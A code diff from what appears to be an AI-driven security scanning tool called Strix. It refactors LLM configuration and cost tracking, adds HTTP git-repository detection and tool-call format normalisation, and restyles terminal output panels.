|
stats_text.append(format_token_count(total_stats["output_tokens"]), style="white")
|
||||||
|
|
||||||
stats_text.append(" • ", style="dim white")
|
stats_text.append(" · ", style="dim white")
|
||||||
stats_text.append("💰 Cost: ", style="bold white")
|
stats_text.append("Cost ", style="dim")
|
||||||
stats_text.append(f"${total_stats['cost']:.4f}", style="dim white")
|
stats_text.append(f"${total_stats['cost']:.4f}", style="#fbbf24")
|
||||||
|
|
||||||
return stats_text
|
return stats_text
|
||||||
|
|
||||||
@@ -369,7 +376,7 @@ def build_tui_stats_text(tracer: Any, agent_config: dict[str, Any] | None = None
|
|||||||
if agent_config:
|
if agent_config:
|
||||||
llm_config = agent_config["llm_config"]
|
llm_config = agent_config["llm_config"]
|
||||||
model = getattr(llm_config, "model_name", "Unknown")
|
model = getattr(llm_config, "model_name", "Unknown")
|
||||||
stats_text.append(model, style="dim")
|
stats_text.append(model, style="white")
|
||||||
|
|
||||||
llm_stats = tracer.get_total_llm_stats()
|
llm_stats = tracer.get_total_llm_stats()
|
||||||
total_stats = llm_stats["total"]
|
total_stats = llm_stats["total"]
|
||||||
@@ -377,11 +384,11 @@ def build_tui_stats_text(tracer: Any, agent_config: dict[str, Any] | None = None
|
|||||||
total_tokens = total_stats["input_tokens"] + total_stats["output_tokens"]
|
total_tokens = total_stats["input_tokens"] + total_stats["output_tokens"]
|
||||||
if total_tokens > 0:
|
if total_tokens > 0:
|
||||||
stats_text.append("\n")
|
stats_text.append("\n")
|
||||||
stats_text.append(f"{format_token_count(total_tokens)} tokens", style="dim")
|
stats_text.append(f"{format_token_count(total_tokens)} tokens", style="white")
|
||||||
|
|
||||||
if total_stats["cost"] > 0:
|
if total_stats["cost"] > 0:
|
||||||
stats_text.append("\n")
|
stats_text.append(" · ", style="white")
|
||||||
stats_text.append(f"${total_stats['cost']:.2f} spent", style="dim")
|
stats_text.append(f"${total_stats['cost']:.2f}", style="white")
|
||||||
|
|
||||||
return stats_text
|
return stats_text
|
||||||
|
|
||||||
@@ -447,29 +454,42 @@ def generate_run_name(targets_info: list[dict[str, Any]] | None = None) -> str:
|
|||||||
|
|
||||||
|
|
||||||
# Target processing utilities
|
# Target processing utilities
|
||||||
def infer_target_type(target: str) -> tuple[str, dict[str, str]]: # noqa: PLR0911
|
|
||||||
|
|
||||||
|
def _is_http_git_repo(url: str) -> bool:
|
||||||
|
check_url = f"{url.rstrip('/')}/info/refs?service=git-upload-pack"
|
||||||
|
try:
|
||||||
|
req = Request(check_url, headers={"User-Agent": "git/strix"}) # noqa: S310
|
||||||
|
with urlopen(req, timeout=10) as resp: # noqa: S310 # nosec B310
|
||||||
|
return "x-git-upload-pack-advertisement" in resp.headers.get("Content-Type", "")
|
||||||
|
except HTTPError as e:
|
||||||
|
return e.code == 401
|
||||||
|
except (URLError, OSError, ValueError):
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def infer_target_type(target: str) -> tuple[str, dict[str, str]]: # noqa: PLR0911, PLR0912
|
||||||
if not target or not isinstance(target, str):
|
if not target or not isinstance(target, str):
|
||||||
raise ValueError("Target must be a non-empty string")
|
raise ValueError("Target must be a non-empty string")
|
||||||
|
|
||||||
target = target.strip()
|
target = target.strip()
|
||||||
|
|
||||||
lower_target = target.lower()
|
if target.startswith("git@"):
|
||||||
bare_repo_prefixes = (
|
return "repository", {"target_repo": target}
|
||||||
"github.com/",
|
|
||||||
"www.github.com/",
|
if target.startswith("git://"):
|
||||||
"gitlab.com/",
|
return "repository", {"target_repo": target}
|
||||||
"www.gitlab.com/",
|
|
||||||
"bitbucket.org/",
|
|
||||||
"www.bitbucket.org/",
|
|
||||||
)
|
|
||||||
if any(lower_target.startswith(p) for p in bare_repo_prefixes):
|
|
||||||
return "repository", {"target_repo": f"https://{target}"}
|
|
||||||
|
|
||||||
parsed = urlparse(target)
|
parsed = urlparse(target)
|
||||||
if parsed.scheme in ("http", "https"):
|
if parsed.scheme in ("http", "https"):
|
||||||
if any(
|
if parsed.username or parsed.password:
|
||||||
host in parsed.netloc.lower() for host in ["github.com", "gitlab.com", "bitbucket.org"]
|
return "repository", {"target_repo": target}
|
||||||
):
|
if parsed.path.rstrip("/").endswith(".git"):
|
||||||
|
return "repository", {"target_repo": target}
|
||||||
|
if parsed.query or parsed.fragment:
|
||||||
|
return "web_application", {"target_url": target}
|
||||||
|
path_segments = [s for s in parsed.path.split("/") if s]
|
||||||
|
if len(path_segments) >= 2 and _is_http_git_repo(target):
|
||||||
return "repository", {"target_repo": target}
|
return "repository", {"target_repo": target}
|
||||||
return "web_application", {"target_url": target}
|
return "web_application", {"target_url": target}
|
||||||
|
|
||||||
@@ -484,15 +504,22 @@ def infer_target_type(target: str) -> tuple[str, dict[str, str]]: # noqa: PLR09
|
|||||||
try:
|
try:
|
||||||
if path.exists():
|
if path.exists():
|
||||||
if path.is_dir():
|
if path.is_dir():
|
||||||
resolved = path.resolve()
|
return "local_code", {"target_path": str(path.resolve())}
|
||||||
return "local_code", {"target_path": str(resolved)}
|
|
||||||
raise ValueError(f"Path exists but is not a directory: {target}")
|
raise ValueError(f"Path exists but is not a directory: {target}")
|
||||||
except (OSError, RuntimeError) as e:
|
except (OSError, RuntimeError) as e:
|
||||||
raise ValueError(f"Invalid path: {target} - {e!s}") from e
|
raise ValueError(f"Invalid path: {target} - {e!s}") from e
|
||||||
|
|
||||||
if target.startswith("git@") or target.endswith(".git"):
|
if target.endswith(".git"):
|
||||||
return "repository", {"target_repo": target}
|
return "repository", {"target_repo": target}
|
||||||
|
|
||||||
|
if "/" in target:
|
||||||
|
host_part, _, path_part = target.partition("/")
|
||||||
|
if "." in host_part and not host_part.startswith(".") and path_part:
|
||||||
|
full_url = f"https://{target}"
|
||||||
|
if _is_http_git_repo(full_url):
|
||||||
|
return "repository", {"target_repo": full_url}
|
||||||
|
return "web_application", {"target_url": full_url}
|
||||||
|
|
||||||
if "." in target and "/" not in target and not target.startswith("."):
|
if "." in target and "/" not in target and not target.startswith("."):
|
||||||
parts = target.split(".")
|
parts = target.split(".")
|
||||||
if len(parts) >= 2 and all(p and p.strip() for p in parts):
|
if len(parts) >= 2 and all(p and p.strip() for p in parts):
|
||||||
@@ -502,7 +529,7 @@ def infer_target_type(target: str) -> tuple[str, dict[str, str]]: # noqa: PLR09
|
|||||||
f"Invalid target: {target}\n"
|
f"Invalid target: {target}\n"
|
||||||
"Target must be one of:\n"
|
"Target must be one of:\n"
|
||||||
"- A valid URL (http:// or https://)\n"
|
"- A valid URL (http:// or https://)\n"
|
||||||
"- A Git repository URL (https://github.com/... or git@github.com:...)\n"
|
"- A Git repository URL (https://host/org/repo or git@host:org/repo.git)\n"
|
||||||
"- A local directory path\n"
|
"- A local directory path\n"
|
||||||
"- A domain name (e.g., example.com)\n"
|
"- A domain name (e.g., example.com)\n"
|
||||||
"- An IP address (e.g., 192.168.1.10)"
|
"- An IP address (e.g., 192.168.1.10)"
|
||||||
@@ -668,7 +695,6 @@ def clone_repository(repo_url: str, run_name: str, dest_name: str | None = None)
|
|||||||
|
|
||||||
except subprocess.CalledProcessError as e:
|
except subprocess.CalledProcessError as e:
|
||||||
error_text = Text()
|
error_text = Text()
|
||||||
error_text.append("❌ ", style="bold red")
|
|
||||||
error_text.append("REPOSITORY CLONE FAILED", style="bold red")
|
error_text.append("REPOSITORY CLONE FAILED", style="bold red")
|
||||||
error_text.append("\n\n", style="white")
|
error_text.append("\n\n", style="white")
|
||||||
error_text.append(f"Could not clone repository: {repo_url}\n", style="white")
|
error_text.append(f"Could not clone repository: {repo_url}\n", style="white")
|
||||||
@@ -678,8 +704,8 @@ def clone_repository(repo_url: str, run_name: str, dest_name: str | None = None)
|
|||||||
|
|
||||||
panel = Panel(
|
panel = Panel(
|
||||||
error_text,
|
error_text,
|
||||||
title="[bold red]🛡️ STRIX CLONE ERROR",
|
title="[bold white]STRIX",
|
||||||
title_align="center",
|
title_align="left",
|
||||||
border_style="red",
|
border_style="red",
|
||||||
padding=(1, 2),
|
padding=(1, 2),
|
||||||
)
|
)
|
||||||
@@ -689,7 +715,6 @@ def clone_repository(repo_url: str, run_name: str, dest_name: str | None = None)
|
|||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
except FileNotFoundError:
|
except FileNotFoundError:
|
||||||
error_text = Text()
|
error_text = Text()
|
||||||
error_text.append("❌ ", style="bold red")
|
|
||||||
error_text.append("GIT NOT FOUND", style="bold red")
|
error_text.append("GIT NOT FOUND", style="bold red")
|
||||||
error_text.append("\n\n", style="white")
|
error_text.append("\n\n", style="white")
|
||||||
error_text.append("Git is not installed or not available in PATH.\n", style="white")
|
error_text.append("Git is not installed or not available in PATH.\n", style="white")
|
||||||
@@ -697,8 +722,8 @@ def clone_repository(repo_url: str, run_name: str, dest_name: str | None = None)
|
|||||||
|
|
||||||
panel = Panel(
|
panel = Panel(
|
||||||
error_text,
|
error_text,
|
||||||
title="[bold red]🛡️ STRIX CLONE ERROR",
|
title="[bold white]STRIX",
|
||||||
title_align="center",
|
title_align="left",
|
||||||
border_style="red",
|
border_style="red",
|
||||||
padding=(1, 2),
|
padding=(1, 2),
|
||||||
)
|
)
|
||||||
@@ -715,7 +740,6 @@ def check_docker_connection() -> Any:
|
|||||||
except DockerException:
|
except DockerException:
|
||||||
console = Console()
|
console = Console()
|
||||||
error_text = Text()
|
error_text = Text()
|
||||||
error_text.append("❌ ", style="bold red")
|
|
||||||
error_text.append("DOCKER NOT AVAILABLE", style="bold red")
|
error_text.append("DOCKER NOT AVAILABLE", style="bold red")
|
||||||
error_text.append("\n\n", style="white")
|
error_text.append("\n\n", style="white")
|
||||||
error_text.append("Cannot connect to Docker daemon.\n", style="white")
|
error_text.append("Cannot connect to Docker daemon.\n", style="white")
|
||||||
@@ -726,8 +750,8 @@ def check_docker_connection() -> Any:
|
|||||||
|
|
||||||
panel = Panel(
|
panel = Panel(
|
||||||
error_text,
|
error_text,
|
||||||
title="[bold red]🛡️ STRIX STARTUP ERROR",
|
title="[bold white]STRIX",
|
||||||
title_align="center",
|
title_align="left",
|
||||||
border_style="red",
|
border_style="red",
|
||||||
padding=(1, 2),
|
padding=(1, 2),
|
||||||
)
|
)
|
||||||
@@ -789,3 +813,33 @@ def process_pull_line(
|
|||||||
def validate_llm_response(response: Any) -> None:
|
def validate_llm_response(response: Any) -> None:
|
||||||
if not response or not response.choices or not response.choices[0].message.content:
|
if not response or not response.choices or not response.choices[0].message.content:
|
||||||
raise RuntimeError("Invalid response from LLM")
|
raise RuntimeError("Invalid response from LLM")
|
||||||
|
|
||||||
|
|
||||||
|
def validate_config_file(config_path: str) -> Path:
|
||||||
|
console = Console()
|
||||||
|
path = Path(config_path)
|
||||||
|
|
||||||
|
if not path.exists():
|
||||||
|
console.print(f"[bold red]Error:[/] Config file not found: {config_path}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if path.suffix != ".json":
|
||||||
|
console.print("[bold red]Error:[/] Config file must be a .json file")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
try:
|
||||||
|
with path.open("r", encoding="utf-8") as f:
|
||||||
|
data = json.load(f)
|
||||||
|
except json.JSONDecodeError as e:
|
||||||
|
console.print(f"[bold red]Error:[/] Invalid JSON in config file: {e}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if not isinstance(data, dict):
|
||||||
|
console.print("[bold red]Error:[/] Config file must contain a JSON object")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if "env" not in data or not isinstance(data.get("env"), dict):
|
||||||
|
console.print("[bold red]Error:[/] Config file must have an 'env' object")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
return path
|
||||||
|
|||||||
@@ -1,4 +1,6 @@
|
|||||||
from strix.config import Config
|
from strix.config import Config
|
||||||
|
from strix.config.config import resolve_llm_config
|
||||||
|
from strix.llm.utils import resolve_strix_model
|
||||||
|
|
||||||
|
|
||||||
class LLMConfig:
|
class LLMConfig:
|
||||||
@@ -10,11 +12,16 @@ class LLMConfig:
|
|||||||
timeout: int | None = None,
|
timeout: int | None = None,
|
||||||
scan_mode: str = "deep",
|
scan_mode: str = "deep",
|
||||||
):
|
):
|
||||||
self.model_name = model_name or Config.get("strix_llm")
|
resolved_model, self.api_key, self.api_base = resolve_llm_config()
|
||||||
|
self.model_name = model_name or resolved_model
|
||||||
|
|
||||||
if not self.model_name:
|
if not self.model_name:
|
||||||
raise ValueError("STRIX_LLM environment variable must be set and not empty")
|
raise ValueError("STRIX_LLM environment variable must be set and not empty")
|
||||||
|
|
||||||
|
api_model, canonical = resolve_strix_model(self.model_name)
|
||||||
|
self.litellm_model: str = api_model or self.model_name
|
||||||
|
self.canonical_model: str = canonical or self.model_name
|
||||||
|
|
||||||
self.enable_prompt_caching = enable_prompt_caching
|
self.enable_prompt_caching = enable_prompt_caching
|
||||||
self.skills = skills or []
|
self.skills = skills or []
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,8 @@ from typing import Any
|
|||||||
|
|
||||||
import litellm
|
import litellm
|
||||||
|
|
||||||
from strix.config import Config
|
from strix.config.config import resolve_llm_config
|
||||||
|
from strix.llm.utils import resolve_strix_model
|
||||||
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
@@ -155,14 +156,9 @@ def check_duplicate(
|
|||||||
|
|
||||||
comparison_data = {"candidate": candidate_cleaned, "existing_reports": existing_cleaned}
|
comparison_data = {"candidate": candidate_cleaned, "existing_reports": existing_cleaned}
|
||||||
|
|
||||||
model_name = Config.get("strix_llm")
|
model_name, api_key, api_base = resolve_llm_config()
|
||||||
api_key = Config.get("llm_api_key")
|
litellm_model, _ = resolve_strix_model(model_name)
|
||||||
api_base = (
|
litellm_model = litellm_model or model_name
|
||||||
Config.get("llm_api_base")
|
|
||||||
or Config.get("openai_api_base")
|
|
||||||
or Config.get("litellm_base_url")
|
|
||||||
or Config.get("ollama_api_base")
|
|
||||||
)
|
|
||||||
|
|
||||||
messages = [
|
messages = [
|
||||||
{"role": "system", "content": DEDUPE_SYSTEM_PROMPT},
|
{"role": "system", "content": DEDUPE_SYSTEM_PROMPT},
|
||||||
@@ -177,10 +173,9 @@ def check_duplicate(
|
|||||||
]
|
]
|
||||||
|
|
||||||
completion_kwargs: dict[str, Any] = {
|
completion_kwargs: dict[str, Any] = {
|
||||||
"model": model_name,
|
"model": litellm_model,
|
||||||
"messages": messages,
|
"messages": messages,
|
||||||
"timeout": 120,
|
"timeout": 120,
|
||||||
"temperature": 0,
|
|
||||||
}
|
}
|
||||||
if api_key:
|
if api_key:
|
||||||
completion_kwargs["api_key"] = api_key
|
completion_kwargs["api_key"] = api_key
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ from strix.llm.memory_compressor import MemoryCompressor
|
|||||||
from strix.llm.utils import (
|
from strix.llm.utils import (
|
||||||
_truncate_to_first_function,
|
_truncate_to_first_function,
|
||||||
fix_incomplete_tool_call,
|
fix_incomplete_tool_call,
|
||||||
|
normalize_tool_format,
|
||||||
parse_tool_invocations,
|
parse_tool_invocations,
|
||||||
)
|
)
|
||||||
from strix.skills import load_skills
|
from strix.skills import load_skills
|
||||||
@@ -63,7 +64,7 @@ class LLM:
|
|||||||
self.agent_name = agent_name
|
self.agent_name = agent_name
|
||||||
self.agent_id: str | None = None
|
self.agent_id: str | None = None
|
||||||
self._total_stats = RequestStats()
|
self._total_stats = RequestStats()
|
||||||
self.memory_compressor = MemoryCompressor(model_name=config.model_name)
|
self.memory_compressor = MemoryCompressor(model_name=config.litellm_model)
|
||||||
self.system_prompt = self._load_system_prompt(agent_name)
|
self.system_prompt = self._load_system_prompt(agent_name)
|
||||||
|
|
||||||
reasoning = Config.get("strix_reasoning_effort")
|
reasoning = Config.get("strix_reasoning_effort")
|
||||||
@@ -90,7 +91,7 @@ class LLM:
|
|||||||
*list(self.config.skills or []),
|
*list(self.config.skills or []),
|
||||||
f"scan_modes/{self.config.scan_mode}",
|
f"scan_modes/{self.config.scan_mode}",
|
||||||
]
|
]
|
||||||
skill_content = load_skills(skills_to_load, env)
|
skill_content = load_skills(skills_to_load)
|
||||||
env.globals["get_skill"] = lambda name: skill_content.get(name, "")
|
env.globals["get_skill"] = lambda name: skill_content.get(name, "")
|
||||||
|
|
||||||
result = env.get_template("system_prompt.jinja").render(
|
result = env.get_template("system_prompt.jinja").render(
|
||||||
@@ -128,26 +129,34 @@ class LLM:
|
|||||||
async def _stream(self, messages: list[dict[str, Any]]) -> AsyncIterator[LLMResponse]:
|
async def _stream(self, messages: list[dict[str, Any]]) -> AsyncIterator[LLMResponse]:
|
||||||
accumulated = ""
|
accumulated = ""
|
||||||
chunks: list[Any] = []
|
chunks: list[Any] = []
|
||||||
|
done_streaming = 0
|
||||||
|
|
||||||
self._total_stats.requests += 1
|
self._total_stats.requests += 1
|
||||||
response = await acompletion(**self._build_completion_args(messages), stream=True)
|
response = await acompletion(**self._build_completion_args(messages), stream=True)
|
||||||
|
|
||||||
async for chunk in response:
|
async for chunk in response:
|
||||||
chunks.append(chunk)
|
chunks.append(chunk)
|
||||||
|
if done_streaming:
|
||||||
|
done_streaming += 1
|
||||||
|
if getattr(chunk, "usage", None) or done_streaming > 5:
|
||||||
|
break
|
||||||
|
continue
|
||||||
delta = self._get_chunk_content(chunk)
|
delta = self._get_chunk_content(chunk)
|
||||||
if delta:
|
if delta:
|
||||||
accumulated += delta
|
accumulated += delta
|
||||||
if "</function>" in accumulated:
|
if "</function>" in accumulated or "</invoke>" in accumulated:
|
||||||
accumulated = accumulated[
|
end_tag = "</function>" if "</function>" in accumulated else "</invoke>"
|
||||||
: accumulated.find("</function>") + len("</function>")
|
pos = accumulated.find(end_tag)
|
||||||
]
|
accumulated = accumulated[: pos + len(end_tag)]
|
||||||
yield LLMResponse(content=accumulated)
|
yield LLMResponse(content=accumulated)
|
||||||
break
|
done_streaming = 1
|
||||||
|
continue
|
||||||
yield LLMResponse(content=accumulated)
|
yield LLMResponse(content=accumulated)
|
||||||
|
|
||||||
if chunks:
|
if chunks:
|
||||||
self._update_usage_stats(stream_chunk_builder(chunks))
|
self._update_usage_stats(stream_chunk_builder(chunks))
|
||||||
|
|
||||||
|
accumulated = normalize_tool_format(accumulated)
|
||||||
accumulated = fix_incomplete_tool_call(_truncate_to_first_function(accumulated))
|
accumulated = fix_incomplete_tool_call(_truncate_to_first_function(accumulated))
|
||||||
yield LLMResponse(
|
yield LLMResponse(
|
||||||
content=accumulated,
|
content=accumulated,
|
||||||
@@ -177,6 +186,9 @@ class LLM:
|
|||||||
conversation_history.extend(compressed)
|
conversation_history.extend(compressed)
|
||||||
messages.extend(compressed)
|
messages.extend(compressed)
|
||||||
|
|
||||||
|
if messages[-1].get("role") == "assistant":
|
||||||
|
messages.append({"role": "user", "content": "<meta>Continue the task.</meta>"})
|
||||||
|
|
||||||
if self._is_anthropic() and self.config.enable_prompt_caching:
|
if self._is_anthropic() and self.config.enable_prompt_caching:
|
||||||
messages = self._add_cache_control(messages)
|
messages = self._add_cache_control(messages)
|
||||||
|
|
||||||
@@ -187,21 +199,16 @@ class LLM:
|
|||||||
messages = self._strip_images(messages)
|
messages = self._strip_images(messages)
|
||||||
|
|
||||||
args: dict[str, Any] = {
|
args: dict[str, Any] = {
|
||||||
"model": self.config.model_name,
|
"model": self.config.litellm_model,
|
||||||
"messages": messages,
|
"messages": messages,
|
||||||
"timeout": self.config.timeout,
|
"timeout": self.config.timeout,
|
||||||
"stream_options": {"include_usage": True},
|
"stream_options": {"include_usage": True},
|
||||||
}
|
}
|
||||||
|
|
||||||
if api_key := Config.get("llm_api_key"):
|
if self.config.api_key:
|
||||||
args["api_key"] = api_key
|
args["api_key"] = self.config.api_key
|
||||||
if api_base := (
|
if self.config.api_base:
|
||||||
Config.get("llm_api_base")
|
args["api_base"] = self.config.api_base
|
||||||
or Config.get("openai_api_base")
|
|
||||||
or Config.get("litellm_base_url")
|
|
||||||
or Config.get("ollama_api_base")
|
|
||||||
):
|
|
||||||
args["api_base"] = api_base
|
|
||||||
if self._supports_reasoning():
|
if self._supports_reasoning():
|
||||||
args["reasoning_effort"] = self._reasoning_effort
|
args["reasoning_effort"] = self._reasoning_effort
|
||||||
|
|
||||||
@@ -227,8 +234,8 @@ class LLM:
|
|||||||
def _update_usage_stats(self, response: Any) -> None:
|
def _update_usage_stats(self, response: Any) -> None:
|
||||||
try:
|
try:
|
||||||
if hasattr(response, "usage") and response.usage:
|
if hasattr(response, "usage") and response.usage:
|
||||||
input_tokens = getattr(response.usage, "prompt_tokens", 0)
|
input_tokens = getattr(response.usage, "prompt_tokens", 0) or 0
|
||||||
output_tokens = getattr(response.usage, "completion_tokens", 0)
|
output_tokens = getattr(response.usage, "completion_tokens", 0) or 0
|
||||||
|
|
||||||
cached_tokens = 0
|
cached_tokens = 0
|
||||||
if hasattr(response.usage, "prompt_tokens_details"):
|
if hasattr(response.usage, "prompt_tokens_details"):
|
||||||
@@ -236,14 +243,11 @@ class LLM:
|
|||||||
if hasattr(prompt_details, "cached_tokens"):
|
if hasattr(prompt_details, "cached_tokens"):
|
||||||
cached_tokens = prompt_details.cached_tokens or 0
|
cached_tokens = prompt_details.cached_tokens or 0
|
||||||
|
|
||||||
|
cost = self._extract_cost(response)
|
||||||
else:
|
else:
|
||||||
input_tokens = 0
|
input_tokens = 0
|
||||||
output_tokens = 0
|
output_tokens = 0
|
||||||
cached_tokens = 0
|
cached_tokens = 0
|
||||||
|
|
||||||
try:
|
|
||||||
cost = completion_cost(response) or 0.0
|
|
||||||
except Exception: # noqa: BLE001
|
|
||||||
cost = 0.0
|
cost = 0.0
|
||||||
|
|
||||||
self._total_stats.input_tokens += input_tokens
|
self._total_stats.input_tokens += input_tokens
|
||||||
@@ -254,6 +258,18 @@ class LLM:
|
|||||||
except Exception: # noqa: BLE001, S110 # nosec B110
|
except Exception: # noqa: BLE001, S110 # nosec B110
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
def _extract_cost(self, response: Any) -> float:
|
||||||
|
if hasattr(response, "usage") and response.usage:
|
||||||
|
direct_cost = getattr(response.usage, "cost", None)
|
||||||
|
if direct_cost is not None:
|
||||||
|
return float(direct_cost)
|
||||||
|
try:
|
||||||
|
if hasattr(response, "_hidden_params"):
|
||||||
|
response._hidden_params.pop("custom_llm_provider", None)
|
||||||
|
return completion_cost(response, model=self.config.canonical_model) or 0.0
|
||||||
|
except Exception: # noqa: BLE001
|
||||||
|
return 0.0
|
||||||
|
|
||||||
def _should_retry(self, e: Exception) -> bool:
|
def _should_retry(self, e: Exception) -> bool:
|
||||||
code = getattr(e, "status_code", None) or getattr(
|
code = getattr(e, "status_code", None) or getattr(
|
||||||
getattr(e, "response", None), "status_code", None
|
getattr(e, "response", None), "status_code", None
|
||||||
@@ -273,13 +289,13 @@ class LLM:
|
|||||||
|
|
||||||
def _supports_vision(self) -> bool:
|
def _supports_vision(self) -> bool:
|
||||||
try:
|
try:
|
||||||
return bool(supports_vision(model=self.config.model_name))
|
return bool(supports_vision(model=self.config.canonical_model))
|
||||||
except Exception: # noqa: BLE001
|
except Exception: # noqa: BLE001
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def _supports_reasoning(self) -> bool:
|
def _supports_reasoning(self) -> bool:
|
||||||
try:
|
try:
|
||||||
return bool(supports_reasoning(model=self.config.model_name))
|
return bool(supports_reasoning(model=self.config.canonical_model))
|
||||||
except Exception: # noqa: BLE001
|
except Exception: # noqa: BLE001
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@@ -300,7 +316,7 @@ class LLM:
|
|||||||
return result
|
return result
|
||||||
|
|
||||||
def _add_cache_control(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
|
def _add_cache_control(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
|
||||||
if not messages or not supports_prompt_caching(self.config.model_name):
|
if not messages or not supports_prompt_caching(self.config.canonical_model):
|
||||||
return messages
|
return messages
|
||||||
|
|
||||||
result = list(messages)
|
result = list(messages)
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ from typing import Any
|
|||||||
|
|
||||||
import litellm
|
import litellm
|
||||||
|
|
||||||
from strix.config import Config
|
from strix.config.config import Config, resolve_llm_config
|
||||||
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
@@ -91,7 +91,7 @@ def _summarize_messages(
|
|||||||
if not messages:
|
if not messages:
|
||||||
empty_summary = "<context_summary message_count='0'>{text}</context_summary>"
|
empty_summary = "<context_summary message_count='0'>{text}</context_summary>"
|
||||||
return {
|
return {
|
||||||
"role": "assistant",
|
"role": "user",
|
||||||
"content": empty_summary.format(text="No messages to summarize"),
|
"content": empty_summary.format(text="No messages to summarize"),
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -104,12 +104,18 @@ def _summarize_messages(
|
|||||||
conversation = "\n".join(formatted)
|
conversation = "\n".join(formatted)
|
||||||
prompt = SUMMARY_PROMPT_TEMPLATE.format(conversation=conversation)
|
prompt = SUMMARY_PROMPT_TEMPLATE.format(conversation=conversation)
|
||||||
|
|
||||||
|
_, api_key, api_base = resolve_llm_config()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
completion_args = {
|
completion_args: dict[str, Any] = {
|
||||||
"model": model,
|
"model": model,
|
||||||
"messages": [{"role": "user", "content": prompt}],
|
"messages": [{"role": "user", "content": prompt}],
|
||||||
"timeout": timeout,
|
"timeout": timeout,
|
||||||
}
|
}
|
||||||
|
if api_key:
|
||||||
|
completion_args["api_key"] = api_key
|
||||||
|
if api_base:
|
||||||
|
completion_args["api_base"] = api_base
|
||||||
|
|
||||||
response = litellm.completion(**completion_args)
|
response = litellm.completion(**completion_args)
|
||||||
summary = response.choices[0].message.content or ""
|
summary = response.choices[0].message.content or ""
|
||||||
@@ -117,7 +123,7 @@ def _summarize_messages(
|
|||||||
return messages[0]
|
return messages[0]
|
||||||
summary_msg = "<context_summary message_count='{count}'>{text}</context_summary>"
|
summary_msg = "<context_summary message_count='{count}'>{text}</context_summary>"
|
||||||
return {
|
return {
|
||||||
"role": "assistant",
|
"role": "user",
|
||||||
"content": summary_msg.format(count=len(messages), text=summary),
|
"content": summary_msg.format(count=len(messages), text=summary),
|
||||||
}
|
}
|
||||||
except Exception:
|
except Exception:
|
||||||
@@ -152,7 +158,7 @@ class MemoryCompressor:
|
|||||||
):
|
):
|
||||||
self.max_images = max_images
|
self.max_images = max_images
|
||||||
self.model_name = model_name or Config.get("strix_llm")
|
self.model_name = model_name or Config.get("strix_llm")
|
||||||
self.timeout = timeout or int(Config.get("strix_memory_compressor_timeout") or "30")
|
self.timeout = timeout or int(Config.get("strix_memory_compressor_timeout") or "120")
|
||||||
|
|
||||||
if not self.model_name:
|
if not self.model_name:
|
||||||
raise ValueError("STRIX_LLM environment variable must be set and not empty")
|
raise ValueError("STRIX_LLM environment variable must be set and not empty")
|
||||||
|
|||||||
@@ -3,11 +3,75 @@ import re
|
|||||||
from typing import Any
|
from typing import Any
|
||||||
|
|
||||||
|
|
||||||
|
_INVOKE_OPEN = re.compile(r'<invoke\s+name=["\']([^"\']+)["\']>')
|
||||||
|
_PARAM_NAME_ATTR = re.compile(r'<parameter\s+name=["\']([^"\']+)["\']>')
|
||||||
|
_FUNCTION_CALLS_TAG = re.compile(r"</?function_calls>")
|
||||||
|
_STRIP_TAG_QUOTES = re.compile(r"<(function|parameter)\s*=\s*([^>]*?)>")
|
||||||
|
|
||||||
|
|
||||||
|
def normalize_tool_format(content: str) -> str:
|
||||||
|
"""Convert alternative tool-call XML formats to the expected one.
|
||||||
|
|
||||||
|
Handles:
|
||||||
|
<function_calls>...</function_calls> → stripped
|
||||||
|
<invoke name="X"> → <function=X>
|
||||||
|
<parameter name="X"> → <parameter=X>
|
||||||
|
</invoke> → </function>
|
||||||
|
<function="X"> → <function=X>
|
||||||
|
<parameter="X"> → <parameter=X>
|
||||||
|
"""
|
||||||
|
if "<invoke" in content or "<function_calls" in content:
|
||||||
|
content = _FUNCTION_CALLS_TAG.sub("", content)
|
||||||
|
content = _INVOKE_OPEN.sub(r"<function=\1>", content)
|
||||||
|
content = _PARAM_NAME_ATTR.sub(r"<parameter=\1>", content)
|
||||||
|
content = content.replace("</invoke>", "</function>")
|
||||||
|
|
||||||
|
return _STRIP_TAG_QUOTES.sub(
|
||||||
|
lambda m: f"<{m.group(1)}={m.group(2).strip().strip(chr(34) + chr(39))}>", content
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
STRIX_MODEL_MAP: dict[str, str] = {
|
||||||
|
"claude-sonnet-4.6": "anthropic/claude-sonnet-4-6",
|
||||||
|
"claude-opus-4.6": "anthropic/claude-opus-4-6",
|
||||||
|
"gpt-5.2": "openai/gpt-5.2",
|
||||||
|
"gpt-5.1": "openai/gpt-5.1",
|
||||||
|
"gpt-5": "openai/gpt-5",
|
||||||
|
"gpt-5.2-codex": "openai/gpt-5.2-codex",
|
||||||
|
"gpt-5.1-codex-max": "openai/gpt-5.1-codex-max",
|
||||||
|
"gpt-5.1-codex": "openai/gpt-5.1-codex",
|
||||||
|
"gpt-5-codex": "openai/gpt-5-codex",
|
||||||
|
"gemini-3-pro-preview": "gemini/gemini-3-pro-preview",
|
||||||
|
"gemini-3-flash-preview": "gemini/gemini-3-flash-preview",
|
||||||
|
"glm-5": "openrouter/z-ai/glm-5",
|
||||||
|
"glm-4.7": "openrouter/z-ai/glm-4.7",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def resolve_strix_model(model_name: str | None) -> tuple[str | None, str | None]:
|
||||||
|
